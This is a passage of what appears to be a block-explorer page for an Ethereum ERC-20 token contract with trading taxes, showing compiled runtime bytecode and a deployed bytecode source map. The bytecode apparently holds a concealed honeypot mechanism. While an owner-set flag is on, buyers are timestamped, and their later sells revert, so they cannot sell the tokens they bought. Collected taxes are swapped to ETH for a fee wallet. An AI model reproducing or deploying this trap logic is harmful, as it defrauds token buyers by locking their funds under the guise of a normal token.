0008152600401611822906134b0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611899576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118909061353e565b60405180910390fd5b8060045f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611973919061290c565b60405180910390a3505050565b61198b838383611ff7565b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546119d79190612d4f565b925050819055505f81905060055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16158015611a80575060055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b15611b3c57611adf828560025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161461237b565b9050611b3b848460025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff16146124b2565b5b8060035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254611b889190613317565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bec919061290c565b60405180910390a350505050565b5f804790505f600267ffffffffffffffff811115611c1b57611c1a61355c565b5b604051908082528060200260200182016040528015611c495781602001602082028036833780820191505090505b50905030815f81518110611c6057611c5f613589565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611d04573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611d289190612ece565b81600181518110611d3c57611d3b613589565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611da23060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16866117bd565b60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8430426040518663ffffffff1660e01b8152600401611e0495949392919061366d565b5f604051808303815f87803b158015611e1b575f80fd5b505af1158015611e2d573d5f803e3d5ffd5b505050508147611e3d9190612d4f565b92505050919050565b80471015611e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e809061370f565b60405180910390fd5b5f8273ffffffffffffffffffffffffffffffffffffffff1682604051611eae9061375a565b5f6040518083038185875af1925050503d805f8114611ee8576040519150601f19603f3d011682016040523d82523d5f602084013e611eed565b606091505b5050905080611f31576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f28906137de565b60405180910390fd5b505050565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050815f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612065576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161205c9061386c565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036120d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ca906138fa565b60405180910390fd5b5f8111612115576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161210c90613988565b60405180910390fd5b600c548111158061216c575060065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff165b6121ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121a290613a16565b60405180910390fd5b60065f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1661225257600d548161220684610b15565b6122109190613317565b1115612251576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161224890613aa4565b60405180910390fd5b5b600b5461225e30610b15565b101580156122795750600e60179054906101000a900460ff16155b80156122915750600e60169054906101000a900460ff165b80156122ea575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561232957506122f9611145565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156123685750612338611145565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612376576123756125ca565b5b505050565b5f806064600e5f9054906101000a900460ff1660ff168661239c9190613099565b6123a6919061327f565b905082156123db576064600e60019054906101000a900460ff1660ff16866123ce9190613099565b6123d8919061327f565b90505b5f81111561249c578060035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461242f9190613317565b925050819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612493919061290c565b60405180910390a35b80856124a89190612d4f565b9150509392505050565b80156125375760085f9054906101000a900460ff16156125325760095f8154809291906124de90613ac2565b91905055506003426124f09190613317565b60075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b6125c5565b5f60075f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054146125c45760075f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205442106125c3575f80fd5b5b5b505050565b6001600e60176101000a81548160ff0219169083151502179055505f606480600b546125f69190613099565b612600919061327f565b90505f60645f600b546126139190613099565b61261d919061327f565b90505f8211156126a4575f61263183611bfa565b90505f8111156126a257600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc8290811502906040515f60405180830381858888f193505050501580156126a0573d5f803e3d5ffd5b505b505b5f8111156126ee575f6002826126ba919061327f565b90505f81836126c99190612d4f565b90505f6126d583611bfa565b90505f8111156126ea576126e9828261278c565b5b5050505b5f4711156127425761274147600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b7fd9f20192eafa060dc85f5f8b3b0a5b9c106b02d5d1503335b857e50c2bb7003060405160405180910390a150505f600e60176101000a81548160ff021916908315150217905550565b6127b83060015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117bd565b5f60015f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198330865f80600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b815260040161284096959493929190613113565b60606040518083038185885af115801561285c573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906128819190613186565b509150505f81836128929190612d4f565b11156128ef576128ee81836128a79190612d4f565b600e60029054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611e4690919063ffffffff16565b5b505050565b5f819050919050565b612906816128f4565b82525050565b5f60208201905061291f5f8301846128fd565b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561295c578082015181840152602081019050612941565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61298182612925565b61298b818561292f565b935061299b81856020860161293f565b6129a481612967565b840191505092915050565b5f6020820190508181035f8301526129c78184612977565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6129fc826129d3565b9050919050565b612a0c816129f2565b8114612a16575f80fd5b50565b5f81359050612a2781612a03565b92915050565b612a36816128f4565b8114612a40575f80fd5b50565b5f81359050612a5181612a2d565b92915050565b5f8060408385031215612a6d57612a6c6129cf565b5b5f612a7a85828601612a19565b9250506020612a8b85828601612a43565b9150509250929050565b5f8115159050919050565b612aa981612a95565b82525050565b5f602082019050612ac25f830184612aa0565b92915050565b5f805f60608486031215612adf57612ade6129cf565b5b5f612aec86828701612a19565b9350506020612afd86828701612a19565b9250506040612b0e86828701612a43565b9150509250925092565b5f60208284031215612b2d57612b2c6129cf565b5b5f612b3a84828501612a19565b91505092915050565b5f60ff82169050919050565b612b5881612b43565b82525050565b5f602082019050612b715f830184612b4f565b92915050565b612b80816129f2565b82525050565b5f602082019050612b995f830184612b77565b92915050565b5f8060408385031215612bb557612bb46129cf565b5b5f612bc285828601612a43565b9250506020612bd385828601612a43565b9150509250929050565b5f8060408385031215612bf357612bf26129cf565b5b5f612c0085828601612a19565b9250506020612c1185828601612a19565b9150509250929050565b5f60208284031215612c3057612c2f6129cf565b5b5f612c3d84828501612a43565b91505092915050565b612c4f81612b43565b8114612c59575f80fd5b50565b5f81359050612c6a81612c46565b92915050565b5f8060408385031215612c8657612c856129cf565b5b5f612c9385828601612c5c565b9250506020612ca485828601612c5c565b9150509250929050565b5f819050919050565b5f612cd1612ccc612cc7846129d3565b612cae565b6129d3565b9050919050565b5f612ce282612cb7565b9050919050565b5f612cf382612cd8565b9050919050565b612d0381612ce9565b82525050565b5f602082019050612d1c5f830184612cfa565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f612d59826128f4565b9150612d64836128f4565b9250828203905081811115612d7c57612d7b612d22565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612db660208361292f565b9150612dc182612d82565b602082019050919050565b5f6020820190508181035f830152612de381612daa565b9050919050565b7f416c7265616479207475726e6564206f66662e000000000000000000000000005f82015250565b5f612e1e60138361292f565b9150612e2982612dea565b602082019050919050565b5f6020820190508181035f830152612e4b81612e12565b9050919050565b7f43616e206f6e6c79206265206f70656e6564206f6e63650000000000000000005f82015250565b5f612e8660178361292f565b9150612e9182612e52565b602082019050919050565b5f6020820190508181035f830152612eb381612e7a565b9050919050565b5f81519050612ec881612a03565b92915050565b5f60208284031215612ee357612ee26129cf565b5b5f612ef084828501612eba565b91505092915050565b5f604082019050612f0c5f830185612b77565b612f196020830184612b77565b9392505050565b5f8160011c9050919050565b5f808291508390505b6001851115612f7557808604811115612f5157612f50612d22565b5b6001851615612f605780820291505b8081029050612f6e85612f20565b9450612f35565b94509492505050565b5f82612f8d5760019050613048565b81612f9a575f9050613048565b8160018114612fb05760028114612fba57612fe9565b6001915050613048565b60ff841115612fcc57612fcb612d22565b5b8360020a915084821115612fe357612fe2612d22565b5b50613048565b5060208310610133831016604e8410600b841016171561301e5782820a90508381111561301957613018612d22565b5b613048565b61302b8484846001612f2c565b9250905081840481111561304257613041612d22565b5b81810290505b9392505050565b5f613059826128f4565b915061306483612b43565b92506130917fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612f7e565b905092915050565b5f6130a3826128f4565b91506130ae836128f4565b92508282026130bc816128f4565b915082820484148315176130d3576130d2612d22565b5b5092915050565b5f819050919050565b5f6130fd6130f86130f3846130da565b612cae565b6128f4565b9050919050565b61310d816130e3565b82525050565b5f60c0820190506131265f830189612b77565b61313360208301886128fd565b6131406040830187613104565b61314d6060830186613104565b61315a6080830185612b77565b61316760a08301846128fd565b979650505050505050565b5f8151905061318081612a2d565b92915050565b5f805f6060848603121561319d5761319c6129cf565b5b5f6131aa86828701613172565b93505060206131bb86828701613172565b92505060406131cc86828701613172565b9150509250925092565b5f6040820190506131e95f830185612b77565b6131f660208301846128fd565b9392505050565b61320681612a95565b8114613210575f80fd5b50565b5f81519050613221816131fd565b92915050565b5f6020828403121561323c5761323b6129cf565b5b5f61324984828501613213565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613289826128f4565b9150613294836128f4565b9250826132a4576132a3613252565b5b828204905092915050565b7f496e76616c69642053657474696e6773000000000000000000000000000000005f82015250565b5f6132e360108361292f565b91506132ee826132af565b602082019050919050565b5f6020820190508181035f830152613310816132d7565b9050919050565b5f613321826128f4565b915061332c836128f4565b925082820190508082111561334457613343612d22565b5b92915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f20615f8201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b5f6133a460268361292f565b91506133af8261334a565b604082019050919050565b5f6020820190508181035f8301526133d181613398565b9050919050565b7f54617865732063616e27742065786365656420746865206c696d69742e0000005f82015250565b5f61340c601d8361292f565b9150613417826133d8565b602082019050919050565b5f6020820190508181035f83015261343981613400565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61349a60248361292f565b91506134a582613440565b604082019050919050565b5f6020820190508181035f8301526134c78161348e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f61352860228361292f565b9150613533826134ce565b604082019050919050565b5f6020820190508181035f8301526135558161351c565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b6135e8816129f2565b82525050565b5f6135f983836135df565b60208301905092915050565b5f602082019050919050565b5f61361b826135b6565b61362581856135c0565b9350613630836135d0565b805f5b8381101561366057815161364788826135ee565b975061365283613605565b925050600181019050613633565b5085935050505092915050565b5f60a0820190506136805f8301886128fd565b61368d6020830187613104565b818103604083015261369f8186613611565b90506136ae6060830185612b77565b6136bb60808301846128fd565b9695505050505050565b7f416464726573733a20696e73756666696369656e742062616c616e63650000005f82015250565b5f6136f9601d8361292f565b9150613704826136c5565b602082019050919050565b5f6020820190508181035f830152613726816136ed565b9050919050565b5f81905092915050565b50565b5f6137455f8361372d565b915061375082613737565b5f82019050919050565b5f6137648261373a565b9150819050919050565b7f416464726573733a20756e61626c6520746f2073656e642076616c75652c20725f8201527f6563697069656e74206d61792068617665207265766572746564000000000000602082015250565b5f6137c8603a8361292f565b91506137d38261376e565b604082019050919050565b5f6020820190508181035f8301526137f5816137bc565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61385660258361292f565b9150613861826137fc565b604082019050919050565b5f6020820190508181035f8301526138838161384a565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6138e460238361292f565b91506138ef8261388a565b604082019050919050565b5f6020820190508181035f830152613911816138d8565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f61397260298361292f565b915061397d82613918565b604082019050919050565b5f6020820190508181035f83015261399f81613966565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865205f6d61785f8201527f5478416d6f756e742e0000000000000000000000000000000000000000000000602082015250565b5f613a0060298361292f565b9150613a0b826139a6565b604082019050919050565b5f6020820190508181035f830152613a2d816139f4565b9050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206d6178575f8201527f616c6c65742e0000000000000000000000000000000000000000000000000000602082015250565b5f613a8e60268361292f565b9150613a9982613a34565b604082019050919050565b5f6020820190508181035f830152613abb81613a82565b9050919050565b5f613acc826128f4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613afe57613afd612d22565b5b60018201905091905056fea264697066735822122065e3d607deeb997b32772b679dfe3e7a4ddc4cb489643414dfcd1492d281051e64736f6c63430008170033

Deployed Bytecode Sourcemap

3353:9790:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3995:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5156:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5987:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5433:95;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6156:266;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3693:58;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5342:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4297:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8313:137;;;;;;;;;;;;;:::i;:::-;;8614:473;;;;;;;;;;;;;:::i;:::-;;5536:117;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1340:94;;;;;;;;;;;;;:::i;:::-;;4363:75;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3635:51;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6814:692;;;;;;;;;;;;;:::i;:::-;;4061:56;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1117:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5247;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3476:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5661:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7771:381;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4329:25;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5836:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3815:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8458:148;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3760:48;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3854:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8160:145;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;1442:192;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7514:249;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3448:21;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4124:55;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3995:58;;;;:::o;5156:83::-;5193:13;5226:5;;;;;;;;;;;;;;;;;5219:12;;5156:83;:::o;5987:161::-;6062:4;6079:39;6088:12;:10;:12::i;:::-;6102:7;6111:6;6079:8;:39::i;:::-;6136:4;6129:11;;5987:161;;;;:::o;5433:95::-;5486:7;5513;;5506:14;;5433:95;:::o;6156:266::-;6254:4;6271:36;6281:6;6289:9;6300:6;6271:9;:36::i;:::-;6318:74;6327:6;6335:12;:10;:12::i;:::-;6385:6;6349:11;:19;6361:6;6349:19;;;;;;;;;;;;;;;:33;6369:12;:10;:12::i;:::-;6349:33;;;;;;;;;;;;;;;;:42;;;;:::i;:::-;6318:8;:74::i;:::-;6410:4;6403:11;;6156:266;;;;;:::o;3693:58::-;;;;;;;;;;;;;;;;;;;;;;:::o;5342:83::-;5383:5;3924:1;5401:16;;5342:83;:::o;4297:24::-;;;;;;;;;;;;;:::o;8313:137::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8376:12:::1;;;;;;;;;;;8368:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8437:5;8422:12;;:20;;;;;;;;;;;;;;;;;;8313:137::o:0;8614:473::-;4563:4;4552:8;;:15;;;;;;;;;;;;;;;;;;8689::::1;;;;;;;;;;;8675:29;;:10;:29;;;8667:38;;;::::0;::::1;;8716:20;8739:24;8757:4;8739:9;:24::i;:::-;8716:47;;8792:1;8777:12;:16;8774:194;;;8809:18;8830:30;8847:12;8830:16;:30::i;:::-;8809:51;;8891:1;8878:10;:14;8875:81;;;8919:15;;;;;;;;;;;8911:33;;:45;8945:10;8911:45;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;8875:81;8794:174;8774:194;9006:1;8982:21;:25;8978:101;;;9022:57;9057:21;9030:15;;;;;;;;;;;9022:34;;;;:57;;;;:::i;:::-;8978:101;8656:431;4601:5:::0;4590:8;;:16;;;;;;;;;;;;;;;;;;8614:473::o;5536:117::-;5602:7;5629;:16;5637:7;5629:16;;;;;;;;;;;;;;;;5622:23;;5536:117;;;:::o;1340:94::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1405:21:::1;1423:1;1405:9;:21::i;:::-;1340:94::o:0;4363:75::-;;;;;;;;;;;;;:::o;3635:51::-;;;;;;;;;;;;;;;;;;;;;;:::o;6814:692::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6877:11:::1;;;;;;;;;;;6876:12;6868:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6926:15;6952:42;6926:69;;7007:13;7032:7;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7023:38;;;7070:4;7077:7;:12;;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7023:69;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7007:85;;7112:7;7103:6;;:16;;;;;;;;;;;;;;;;;;7128:5;7121:4;;:12;;;;;;;;;;;;;;;;;;7178:4;7144:25;:31;7170:4;;;;;;;;;;;7144:31;;;;;;;;;;;;;;;;:38;;;;;;;;;;;;;;;;;;7193:53;7210:4;7225:6;;;;;;;;;;;7243:1;7234:11;7193:8;:53::i;:::-;7257:6;;;;;;;;;;;:22;;;7287:21;7318:4;3924:1;7365:2;:13;;;;:::i;:::-;7352:10;:26;;;;:::i;:::-;7324:24;7342:4;7324:9;:24::i;:::-;:55;;;;:::i;:::-;7380:1;7382::::0;7384:7:::1;:5;:7::i;:::-;7392:15;7257:151;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;7426:4;;;;;;;;;;;7419:20;;;7448:6;;;;;;;;;;;7466:1;7457:11;7419:50;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7494:4;7480:11;;:18;;;;;;;;;;;;;;;;;;6857:649;;6814:692::o:0;4061:56::-;;;;:::o;1117:87::-;1163:7;1190:6;;;;;;;;;;;1183:13;;1117:87;:::o;5247:::-;5286:13;5319:7;;;;;;;;;;;;;;;;;5312:14;;5247:87;:::o;3476:19::-;;;;;;;;;;;;;:::o;5661:167::-;5739:4;5756:42;5766:12;:10;:12::i;:::-;5780:9;5791:6;5756:9;:42::i;:::-;5816:4;5809:11;;5661:167;;;;:::o;7771:381::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7865:20:::1;3924:1;7912:2;:13;;;;:::i;:::-;7903:4;7899:1;7889:7;;:11;;;;:::i;:::-;:18;;;;:::i;:::-;7888:38;;;;:::i;:::-;7865:61;;7960:15;7945:11;:30;;:68;;;;;7998:15;7979;:34;;7945:68;7937:97;;;;;;;;;;;;:::i;:::-;;;;;;;;;3924:1;8074:2;:13;;;;:::i;:::-;8059:11;:29;;;;:::i;:::-;8045:11;:43;;;;3924:1;8130:2;:13;;;;:::i;:::-;8111:15;:33;;;;:::i;:::-;8099:9;:45;;;;7854:298;7771:381:::0;;:::o;4329:25::-;;;;;;;;;;;;;:::o;5836:143::-;5917:7;5944:11;:18;5956:5;5944:18;;;;;;;;;;;;;;;:27;5963:7;5944:27;;;;;;;;;;;;;;;;5937:34;;5836:143;;;;:::o;3815:32::-;;;;;;;;;;;;;:::o;8458:148::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8593:5:::1;8575:15;:23;;;;:::i;:::-;8552:12;:20;8565:6;8552:20;;;;;;;;;;;;;;;:46;;;;8458:148:::0;;:::o;3760:48::-;;;;;;;;;;;;;;;;;:::o;3854:26::-;;;;:::o;8160:145::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;3924:1:::1;8283:2;:13;;;;:::i;:::-;8260:19;:37;;;;:::i;:::-;8244:13;:53;;;;8160:145:::0;:::o;1442:192::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;1551:1:::1;1531:22;;:8;:22;;::::0;1523:73:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;1607:19;1617:8;1607:9;:19::i;:::-;1442:192:::0;:::o;7514:249::-;1263:12;:10;:12::i;:::-;1252:23;;:7;:5;:7::i;:::-;:23;;;1244:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7625:2:::1;7614:7;:13;;;;:30;;;;;7642:2;7631:8;:13;;;;7614:30;7606:72;;;;;;;;;;;;:::i;:::-;;;;;;;;;7698:7;7689:6;;:16;;;;;;;;;;;;;;;;;;7717:8;7707:7;;:18;;;;;;;;;;;;;;;;;;7741:14;;;;;;;;;;7514:249:::0;;:::o;3448:21::-;;;;;;;;;;;;;:::o;4124:55::-;;;;:::o;642:115::-;695:15;738:10;723:26;;642:115;:::o;6430:335::-;6540:1;6523:19;;:5;:19;;;6515:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6621:1;6602:21;;:7;:21;;;6594:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;6703:6;6673:11;:18;6685:5;6673:18;;;;;;;;;;;;;;;:27;6692:7;6673:27;;;;;;;;;;;;;;;:36;;;;6741:7;6725:32;;6734:5;6725:32;;;6750:6;6725:32;;;;;;:::i;:::-;;;;;;;;6430:335;;;:::o;10662:487::-;10740:35;10758:4;10764:2;10768:6;10740:17;:35::i;:::-;10803:6;10786:7;:13;10794:4;10786:13;;;;;;;;;;;;;;;;:23;;;;;;;:::i;:::-;;;;;;;;10820:22;10845:6;10820:31;;10866:18;:24;10885:4;10866:24;;;;;;;;;;;;;;;;;;;;;;;;;10865:25;:52;;;;;10895:18;:22;10914:2;10895:22;;;;;;;;;;;;;;;;;;;;;;;;;10894:23;10865:52;10862:190;;;10950:39;10964:6;10972:4;10984;;;;;;;;;;;10978:10;;:2;:10;;;10950:13;:39::i;:::-;10933:56;;11004:36;11019:4;11024:2;11035:4;;;;;;;;;;;11027:12;;:4;:12;;;11004:14;:36::i;:::-;10862:190;11077:14;11062:7;:11;11070:2;11062:11;;;;;;;;;;;;;;;;:29;;;;;;;:::i;:::-;;;;;;;;11122:2;11107:34;;11116:4;11107:34;;;11126:14;11107:34;;;;;;:::i;:::-;;;;;;;;10729:420;10662:487;;;:::o;12027:581::-;12091:7;12111:22;12136:21;12111:46;;12168:21;12206:1;12192:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12168:40;;12237:4;12219;12224:1;12219:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;;;12263:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;